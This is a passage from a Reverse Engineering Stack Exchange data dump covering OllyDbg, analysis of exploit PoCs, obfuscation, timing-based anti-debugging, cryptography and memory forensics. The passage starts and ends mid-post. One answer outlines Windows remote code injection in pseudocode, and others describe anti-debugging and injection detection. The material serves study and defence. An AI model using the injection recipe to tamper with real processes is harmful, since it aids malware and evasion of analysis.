below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;004019E9   |PUSH    ESI           ; _ERRCHECK(_tcscpy_s(*env, cchars, p));&#xA;004019EA   |PUSH    EBX&#xA;004019EB   |PUSH    EAX&#xA;004019EC   |CALL    prankasu.strcpy_s&#xA;004019F1   |ADD     ESP, 0C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;loop is from &lt;code&gt;vc\crt\tcscpy_s_inl&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00403D41   MOV     ESI, EDX        ; while ((*p++ = *_SRC++) != 0 &amp;amp;&amp;amp; --available &amp;gt; 0)&#xA;00403D43   SUB     ESI, EAX&#xA;00403D45   /MOV     CL, BYTE PTR DS:[EAX]&#xA;00403D47   |MOV     BYTE PTR DS:[ESI+EAX], CL&#xA;00403D4A   |INC     EAX&#xA;00403D4B   |TEST    CL, CL&#xA;00403D4D   |JE      SHORT prankasu.00403D52&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;cycling to comment back you see&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;004019E9   |.  56    |PUSH    ESI                         ; /Arg3 = 7C90DE6E&#xA;004019EA   |.  53    |PUSH    EBX                         ; |Arg2 = 00000000&#xA;004019EB   |.  50    |PUSH    EAX                         ; |Arg1 = 00000000&#xA;004019EC   |.  E8 1D&amp;gt;|CALL    prankasu.strcpy_s           ; \strcpy_s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;options-&amp;gt;debugging options-&amp;gt;cpu-&amp;gt;select show symbolic address&lt;/code&gt; will make &#xA;&lt;code&gt;XXXXXX [40xxxx]&lt;/code&gt; to be shown as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xxxxxx [sumit]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;options -&amp;gt;debugging options-&amp;gt;analysis-&amp;gt;select show args and locals in procedure&lt;/code&gt; will make all &lt;code&gt;ebp+XX&lt;/code&gt; to &lt;code&gt;arg.1 arg.2&lt;/code&gt; and all &lt;code&gt;ebp-XX&lt;/code&gt; to &lt;code&gt;local.1 local.2&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;both ollydbg 1.10 and 2.01 behave similarly&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;full&lt;/code&gt; or &lt;code&gt;partial (stripped down )&lt;/code&gt;symbolic information in any acceptable format (&lt;code&gt;map tds pdb dbg&lt;/code&gt; ) is &lt;code&gt;**mandatory**&lt;/code&gt; &lt;code&gt;**requirement**&lt;/code&gt;  &lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2014-01-16T18:47:13.553" LastActivityDate="2014-01-16T18:47:13.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3471" PostTypeId="1" AcceptedAnswerId="4283" CreationDate="2014-01-16T13:52:56.277" Score="5" ViewCount="348" Body="&lt;p&gt;My daily job is analyzing reported proof of concept files that exploits document viewers. People who report vulnerabilities in document viewers just give me the PoC and vulnerable version number. They usually fuzz stuff and find offset that leads to stack overflows etc. Which means they do not give me info about the root cause of the vuln. So only with the vulnerable binary and the PoC, I need to analyze following things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Does the PoC actually work?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In which part of the binary is vulnerable? (ex. no argument checking in function A ... blah blah; I need to know this because I have to contact the vendor to fix the vuln)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am new to this field and currently this is how I do it(I analyze in XP).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Run the PoC&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;look at the call stack when there is a exception-&gt;follow them&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check whether SEH is corrupted -&gt; set breakpoint on the corrupted SEH to find the instruction that overflows the stack&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;By playing around I can find the assembly instruction that triggers the exploit. However, it is hard to backtrack all the way to the root cause. Assembly instruction that overflows is usually in the library but the vuln is not the library, it is the user program that maliciously called the library right? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if I made my point clear but need some tips doing this kind of reverse engineering. &lt;/p&gt;&#xA;" OwnerUserId="3461" LastEditorUserId="245" LastEditDate="2014-01-16T22:20:49.460" LastActivityDate="2014-05-07T10:23:03.623" Title="Do you have tips analyzing reported PoC(exploit) files?" Tags="|exploit|vulnerability-analysis|seh|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3473" PostTypeId="1" AcceptedAnswerId="3475" CreationDate="2014-01-17T19:16:10.480" Score="6" ViewCount="9661" Body="&lt;p&gt;I am told that tools like &lt;strong&gt;IDA Pro&lt;/strong&gt; are static disassembly tool,&#xA;and tools like &lt;strong&gt;OllyDbg&lt;/strong&gt; are dynamic disassembly tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But from the using experiences on these tools, I don't think there &#xA;is any difference between the tools in &lt;strong&gt;disassembly&lt;/strong&gt; procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically all you need to do is load binary file into IDA or OllyDbg, &#xA;and they will use certain recursive disassembly algorithm to disassembly&#xA;the binary and give you the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I wrong..? Then what is the difference between static disassembly &#xA;and dynamic disassembly..?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="53" LastEditDate="2017-04-28T12:57:17.143" LastActivityDate="2017-04-28T12:57:17.143" Title="What is the difference between static disassembly and dynamic disassembly?" Tags="|ida|disassembly|ollydbg|disassemblers|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3475" PostTypeId="2" ParentId="3473" CreationDate="2014-01-17T21:21:43.513" Score="16" Body="&lt;p&gt;You have a mix up here. There is no such thing as dynamic disassembly and static disassembly but rather &lt;a href=&quot;http://en.wikipedia.org/wiki/Dynamic_program_analysis&quot;&gt;dynamic&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Dynamic program analysis is the analysis of computer software that is performed by executing programs on a real or virtual processor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and &lt;a href=&quot;http://en.wikipedia.org/wiki/Static_program_analysis&quot;&gt;static analysis&lt;/a&gt; of a binary. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Static program analysis is the analysis of computer software that is performed without actually executing programs&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What do the mentioned tools have are different disassembly engines which sometimes produce different results, mainly from binaries which incorporate anti-disassembly techniques. &lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2014-01-17T21:21:43.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3476" PostTypeId="1" AcceptedAnswerId="3478" CreationDate="2014-01-18T21:06:45.170" Score="1" ViewCount="293" Body="&lt;p&gt;According to my knowledge, several obfuscation strategies are widely used(or at least described in academic) like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;complicating control flow&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;inserting bogus control-flow&lt;/li&gt;&#xA;&lt;li&gt;control-flow flattening&lt;/li&gt;&#xA;&lt;li&gt;jump through branch functions&lt;/li&gt;&#xA;&lt;li&gt;opaque values from array aliasing&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Opaque Predicates&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;opaque predicates from pointer aliasing&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;dynamic obfuscation&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;self-modifying state machine&lt;/li&gt;&#xA;&lt;li&gt;code as key material&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From the examples they give when introducing these obfuscation ways, multi-thread program has not been talked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am wondering whether these strategies are feasible(or even feasible, but not very practical) in multi-thread programs?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2014-01-19T07:02:31.170" Title="What is the difficulty/advantage to obfuscate a multi-thread program?" Tags="|obfuscation|deobfuscation|multi-process|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3477" PostTypeId="1" AcceptedAnswerId="3479" CreationDate="2014-01-19T05:55:16.910" Score="3" ViewCount="3079" Body="&lt;p&gt;I have seen several anti-debug strategies, and I am wondering if there are some anti-debugger methods that can evaluate the program running time, thus detecting the exist of debugger.&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="53" LastEditDate="2014-01-19T17:11:10.607" LastActivityDate="2014-01-20T04:32:06.197" Title="How to detect a debugger using some &quot;time&quot; checking strategies?" Tags="|debuggers|anti-debugging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3478" PostTypeId="2" ParentId="3476" CreationDate="2014-01-19T07:02:31.170" Score="2" Body="&lt;p&gt;All of them are feasible. &#xA;By definition obfuscating code transformation is transformation that preserves functional equivalency of obfuscated program, so there is no any difference between multi-thread and single-thread programs from this point of view.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-01-19T07:02:31.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3479" PostTypeId="2" ParentId="3477" CreationDate="2014-01-19T07:50:09.293" Score="9" Body="&lt;p&gt;This is pretty broad subject :-) There are several examples:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms724408%28v=vs.85%29.aspx&quot;&gt;&lt;code&gt;GetTickCount()&lt;/code&gt;&lt;/a&gt; - Retrieves the number of milliseconds that have elapsed since the system was started. Putting those in different parts of the program and then checking the difference can give you some primitive detection.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.cplusplus.com/reference/ctime/time/&quot;&gt;&lt;code&gt;time()&lt;/code&gt;&lt;/a&gt; - Get the current calendar time.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://faydoc.tripod.com/cpu/rdtsc.htm&quot;&gt;&lt;code&gt;RDTSC&lt;/code&gt;&lt;/a&gt; - Gets the current value of the processor's time-stamp counter. This one could be hard to find if placed wisely.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The thing is, that all those could be neutralized once the researcher became aware of them. There are various debugger plugins which will make that happen by patching APIs, installing drivers and etc. Of course, it could be done manually in most cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you really should think of is placing and integrating those inside your code, so it will be less evident what the real purpose of the calls to the APIs/instruction. &lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2014-01-19T07:50:09.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3480" PostTypeId="1" AcceptedAnswerId="3481" CreationDate="2014-01-19T11:00:44.017" Score="7" ViewCount="2889" Body="&lt;p&gt;Is understanding of Cryptography really important for a reverse engineer? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2460" LastEditorUserId="304" LastEditDate="2014-01-20T10:46:55.040" LastActivityDate="2014-01-20T10:46:55.040" Title="How much Cryptography knowledge is important for reverse engineering?" Tags="|cryptography|" AnswerCount="2" CommentCount="1" ClosedDate="2014-01-22T02:32:27.613" ContentLicense="CC BY-SA 3.0" />
  <row Id="3481" PostTypeId="2" ParentId="3480" CreationDate="2014-01-19T11:36:26.430" Score="7" Body="&lt;p&gt;It is more and more important for practical reverse-engineering. It is now present in malware, the example of Stuxnet, Flame and others are quite typical of the usage of cryptography in such context. And, it is also present in most protection schemes because a lot of techniques use cryptography to protect the code and data. Just consider software such as Skype or iTunes which are relying on cryptography to protect their protocol or to hide information in the executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, indeed, it would be really a problem if you do &lt;strong&gt;not&lt;/strong&gt; understand a bit cryptography when reversing. And, by &quot;&lt;em&gt;understanding cryptography&lt;/em&gt;&quot;, I mean at least to be able to recognize the code of classical cipher algorithms at assembly level such as DES, AES, SHA-1, SHA-3, and so on. And, also to know classical flaws and cryptanalysis techniques for weak crypto (such as frequency analysis).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good way to learn about the cryptography needed for reverse-engineering would be to implement (with the help of existing codes found on the Net) your own cryptographic library with classical ciphers and look at the generated assembly. If you do not have the patience to do so, just look at the crypto-lib of &lt;a href=&quot;http://www.openssl.org/source/&quot; rel=&quot;nofollow&quot;&gt;OpenSSL&lt;/a&gt;, get it compiled and look at the code and the assembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, more you know about it, more you will be efficient when facing it.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-01-19T17:11:57.783" LastActivityDate="2014-01-19T17:11:57.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3482" PostTypeId="1" AcceptedAnswerId="3485" CreationDate="2014-01-19T11:57:18.490" Score="6" ViewCount="6261" Body="&lt;p&gt;I've seen a few memory forensics tutorials, which start by looking for injected code in the &quot;victim's&quot; process memory. They always seem to find the injected code in pages which have RWX access (i.e. PAGE_EXECUTE_READWRITE). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this assumption always hold? Does code injected (e.g. by malware) into the process memory of a &quot;victim&quot;, always belong to a page with RWX access? Or can the page access be changed, by the code that is injected? If so, how can this change be done via winapi?&lt;/p&gt;&#xA;" OwnerUserId="3696" LastActivityDate="2014-01-20T04:39:53.897" Title="Does code injected into process memory always belong to a page with RWX access?" Tags="|windows|memory|winapi|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3483" PostTypeId="2" ParentId="3480" CreationDate="2014-01-19T11:59:02.527" Score="13" Body="&lt;p&gt;I'd say it's a very useful tool to have in the arsenal, but your use of it will depend upon your ultimate goals. Personally, I use it a fair bit on binary application assessments, but that's not the case for everyone. As I said, it largely depends on what you want to be doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end of the day, you will see cryptography being used in applications if you end up doing reverse engineering work. Understanding and breaking that cryptography may or may not be part of your job, but it's always nice to have at least a basic understanding of the field. It's always a nice +1 on your resume, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of &lt;em&gt;what&lt;/em&gt; you should learn, I'd say avoid the &quot;classic cipher&quot; stuff and go straight for the meat and potatoes. I can count on one hand the number of times I've had to break a simple custom transposition cipher or substitution cipher in a real product. They're just not used in reality, and if the client is using such awful &quot;crypto&quot; then that's already a major issue to flag to them - breaking it becomes a moot point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to be looking into:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Simple xor ciphers (one-time pad, two-time pad, repeated key xor)&lt;/li&gt;&#xA;&lt;li&gt;Stream ciphers&lt;/li&gt;&#xA;&lt;li&gt;Use of initialisation vectors (IVs) to avoid key re-use issues&lt;/li&gt;&#xA;&lt;li&gt;Stream cipher malleability&lt;/li&gt;&#xA;&lt;li&gt;Block ciphers&lt;/li&gt;&#xA;&lt;li&gt;Block cipher padding&lt;/li&gt;&#xA;&lt;li&gt;Block cipher modes of operation (Cipher Block Chaining especially)&lt;/li&gt;&#xA;&lt;li&gt;Issues with Electronic Code Book (ECB) mode&lt;/li&gt;&#xA;&lt;li&gt;IVs in block ciphers&lt;/li&gt;&#xA;&lt;li&gt;Malleability in CBC&lt;/li&gt;&#xA;&lt;li&gt;Padding oracle attacks&lt;/li&gt;&#xA;&lt;li&gt;Compression oracle attacks (e.g. CRIME)&lt;/li&gt;&#xA;&lt;li&gt;Hash functions (MD5, SHA1, etc.)&lt;/li&gt;&#xA;&lt;li&gt;Hash collisions and the birthday paradox&lt;/li&gt;&#xA;&lt;li&gt;Message Authentication Codes (e.g. HMAC construction)&lt;/li&gt;&#xA;&lt;li&gt;Asymmetric cryptography (e.g. RSA)&lt;/li&gt;&#xA;&lt;li&gt;Key exchange mechanisms (e.g. Diffie-Hellman)&lt;/li&gt;&#xA;&lt;li&gt;Hybrid cryptosystems (i.e. using asymmetric to send key, symmetric to encrypt)&lt;/li&gt;&#xA;&lt;li&gt;The list of common issues around SSL/TLS and PKI:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Not validating CA properly&lt;/li&gt;&#xA;&lt;li&gt;Not validating common name properly&lt;/li&gt;&#xA;&lt;li&gt;Not validating expiry or valid from dates&lt;/li&gt;&#xA;&lt;li&gt;Allowing weak ciphers (e.g. NULL, DES)&lt;/li&gt;&#xA;&lt;li&gt;Allowing weak certificate signatures (e.g. MD5)&lt;/li&gt;&#xA;&lt;li&gt;etc... (see OWASP for more)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The list is pretty big, but it's stuff you can pick up from Wikipedia and other various places online at your own pace. If you understand half of the topics above at a level strong enough to identify a weak implementation, then you're very much on track. Almost every single product I've ever done work that has used crypto has had an issue in that list.&lt;/p&gt;&#xA;" OwnerUserId="1351" LastEditorUserId="1351" LastEditDate="2014-01-20T10:07:15.657" LastActivityDate="2014-01-20T10:07:15.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3484" PostTypeId="2" ParentId="3482" CreationDate="2014-01-19T12:40:55.770" Score="1" Body="&lt;p&gt;Page access can be changed. See &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/aa366898%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;VirtualProtect&lt;/a&gt;, &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/aa366786%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;Memory Protection Constants&lt;/a&gt; and &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/aa366899%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;VirtualProtectEx&lt;/a&gt; documentation.&#xA;Injected code should be executable and readable, but not necessarily &#xA; writable.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-01-19T12:40:55.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3485" PostTypeId="2" ParentId="3482" CreationDate="2014-01-19T13:11:49.050" Score="8" Body="&lt;p&gt;The assumption does not hold true, as it is possible to alter page protection flags &lt;em&gt;after&lt;/em&gt; you've allocated memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The usual mechanism for code injection on Windows is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Call &lt;code&gt;OpenProcess&lt;/code&gt; for the target process, to get a handle that has appropriate access privileges.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;VirtualAllocEx&lt;/code&gt; to allocate a buffer in the target process, with a set of memory page access flags.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;WriteProcessMemory&lt;/code&gt; to copy the memory to the target.&lt;/li&gt;&#xA;&lt;li&gt;Either patch existing code to jump to the new code block, or use &lt;code&gt;CreateRemoteThread&lt;/code&gt; to execute within the process via a new thread.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, there are two options here. The first is that you can specify &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt; as a flag to &lt;code&gt;VirtualAllocEx&lt;/code&gt;, so that you have the right to use &lt;code&gt;WriteProcessMemory&lt;/code&gt; on that page, and also the right to execute that memory when you get to step 4. This is the &quot;lazy&quot; way that leads to having RWX buffers hanging around. The alternative way is to pass &lt;code&gt;PAGE_READWRITE&lt;/code&gt; when allocating the block, then write the code, and call &lt;code&gt;VirtualProtectEx&lt;/code&gt; to swap the flag over to &lt;code&gt;PAGE_EXECUTE_READ&lt;/code&gt; before step 4. This gives you an RW buffer when copying data, then an RX buffer when executing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pseudocode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rights = PROCESS_VM_OPERATION |&#xA;         PROCESS_VM_READ | PROCESS_VM_WRITE | &#xA;         PROCESS_QUERY_INFORMATION | &#xA;         PROCESS_CREATE_THREAD;&#xA;&#xA;handle = OpenProcess(rights, false, pid);&#xA;&#xA;targetAddr = VirtualAllocEx(handle, NULL, 4096, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);&#xA;&#xA;buffer = &quot;Hello, world!\0&quot;;&#xA;bytesWritten = 0;&#xA;WriteProcessMemory(handle, targetAddr, buffer, 14, &amp;amp;bytesWritten);&#xA;&#xA;oldProtect = 0;&#xA;VirtualProtectEx(handle, targetAddr, 4096, PAGE_EXECUTE_READ, &amp;amp;oldProtect);&#xA;&#xA;threadId = 0;&#xA;CreateRemoteThread(handle, NULL, 0, targetAddr, NULL, 0, &amp;amp;threadId);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1351" LastEditorUserId="1351" LastEditDate="2014-01-19T13:20:57.063" LastActivityDate="2014-01-19T13:20:57.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3486" PostTypeId="2" ParentId="3040" CreationDate="2014-01-19T17:41:07.123" Score="3" Body="&lt;p&gt;If you are looking to better understand the basic principles of PUFs, I would warmly recommend the &lt;a href=&quot;http://security1.win.tue.nl/~bskoric/physsec/files/LectureNotes_2IC35_v1.4.pdf&quot; rel=&quot;nofollow&quot;&gt;lecture notes of Boris Skoric&lt;/a&gt;. Chapter 5 is all about PUFs: history, examples, applications and entropy. Some of the things presented there are also formalized, which requires a decent level of information theory knowledge.&lt;/p&gt;&#xA;" OwnerUserId="3696" LastActivityDate="2014-01-19T17:41:07.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3487" PostTypeId="1" AcceptedAnswerId="3490" CreationDate="2014-01-19T18:48:44.367" Score="7" ViewCount="3575" Body="&lt;p&gt;There are many tutorials which show how to detect injected code into process memory. However, this generally requires using a debugger. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible for a process to somehow detect if it has been injected by another process using winapi? If so, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically, are there any &quot;fixed/likely&quot; characteristics of injected code? For instance, from &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3482/does-code-injected-into-process-memory-always-belong-to-a-page-with-rwx-access&quot;&gt;this question&lt;/a&gt; it appears that injected code can be characterized by always appearing in pages that have the following protection flags set: PAGE_READWRITE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_WRITECOPY and possibly (but unlikely) PAGE_EXECUTE. Can you point out other characteristics of injected code?&lt;/p&gt;&#xA;" OwnerUserId="3696" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2021-01-23T15:35:43.787" Title="Can a Windows process check if it has been injected by another process?" Tags="|windows|memory|winapi|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3488" PostTypeId="2" ParentId="3093" CreationDate="2014-01-19T19:44:40.507" Score="2" Body="&lt;p&gt;Actually both bubble-sort and quick-sort have a very important common semantic property, i.e. they both sort arrays of elements (on which there is a total order relation defined). Of course they also have other properties such as average complexity for a specific input and the concrete execution trace, which will be different for most inputs in the input space of sorting algorithms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Analogously to section 3.1 of the Semantic-based Code Obfuscation paper: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Take a sorting program P (be it bubble-sort) &lt;/li&gt;&#xA;&lt;li&gt;Apply an obfuscation transformation t1 on the program P which produces t1(P) (be it quick-sort) &lt;/li&gt;&#xA;&lt;li&gt;Apply another obfuscation transformation t2 on the program P which produces t2(P) (be it insertion-sort)&lt;/li&gt;&#xA;&lt;li&gt;The approximation of the concrete trace semantics of P is diﬀerent from the same approximation for the concrete trace semantics of t1(P) and of t2(P)&lt;/li&gt;&#xA;&lt;li&gt;Define a property \alpha, which observes the length of the program traces  &lt;/li&gt;&#xA;&lt;li&gt;Define another property \beta, which observes the average run-time of the 3 programs.&lt;/li&gt;&#xA;&lt;li&gt;The transformation t1 obfuscates both \alpha and \beta which are both part of O(t1), while still preserving the common semantic property of sorting for both P and t(P)&lt;/li&gt;&#xA;&lt;li&gt;The transformation t2 obfuscates only \alpha, while \beta is not, since the average run-time complexity is the same for both P and t2(P).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Therefore, we conclude that transformation t1 is more potent than t2, because it hides more properties of P.&lt;/p&gt;&#xA;" OwnerUserId="3696" LastActivityDate="2014-01-19T19:44:40.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3489" PostTypeId="1" AcceptedAnswerId="3491" CreationDate="2014-01-19T19:49:39.587" Score="12" ViewCount="29118" Body="&lt;p&gt;Title says it all. I'm trying to RE a video game which is packed with Themida and the second I attach OllyDbg it crashes. When on XP, I can use StrongOD and PhantOm but neither of these work properly on Windows 7. I could use the XP machine via RDP but my Win 7 machine is much less irritating to use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have any suggestions? &lt;/p&gt;&#xA;" OwnerUserId="3701" LastActivityDate="2016-11-11T18:07:46.830" Title="Are there any OllyDbg anti-debug/anti-anti-debug plugins what work with Windows 7 / NT 6.x?" Tags="|windows|ollydbg|anti-debugging|packers|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3490" PostTypeId="2" ParentId="3487" CreationDate="2014-01-19T20:18:13.130" Score="8" Body="&lt;p&gt;Injected code could represented by, but not limited to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Remotely created thread&lt;/strong&gt; could be detected by several techniques:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Periodically check if process threads were created by current process using &lt;code&gt;NtQueryProcessInformation&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For each thread check if it is running from the address space of the original executable and not from some orphaned memory page:&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms684283%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;NtQueryInformationThread&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set second parameter to &lt;code&gt;ThreadQuerySetWin32StartAddress&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;GetModuleInformation&lt;/code&gt; - check if the thread starting address is in the range of each of the loaded modules and those modules are legit (by known list/by path).&lt;/li&gt;&#xA;&lt;li&gt;Check &lt;a href=&quot;https://stackoverflow.com/questions/10887866/how-to-retrieve-start-address-of-a-thread-using-its-id&quot;&gt;here&lt;/a&gt; too.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Monitor thread creating API inside current process and also check if the creating PID belong to current process - &lt;code&gt;NtQueryProcessInformation&lt;/code&gt;, &lt;code&gt;CreateToolhelp32Snapshot&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Monitor memory protection APIs (&lt;code&gt;VirtualProtect&lt;/code&gt;) to detect if someone tries to modify your code and then check if that &quot;someone&quot; belongs to legit process address space.&lt;/li&gt;&#xA;&lt;li&gt;By keeping the list of legit loaded modules, one also can check if each thread in process belong to address space of a legit module from the list.&lt;/li&gt;&#xA;&lt;li&gt;Monitor &lt;code&gt;LoadLibrary&lt;/code&gt; for a chance someone trying to load unknown module into your process.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Injected code without thread&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;10&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the integrity of your process - look for hot patching of various APIs, depends on the process. Injected code could be triggered by some patch inside current process.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Monitor APC creating API &lt;a href=&quot;http://www.cs.miami.edu/~burt/journal/NT/processinit.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;(&lt;code&gt;KiUserApcDispatcher&lt;/code&gt;)&lt;/a&gt; if the target code belongs to current process. OS's APC also could be filtered 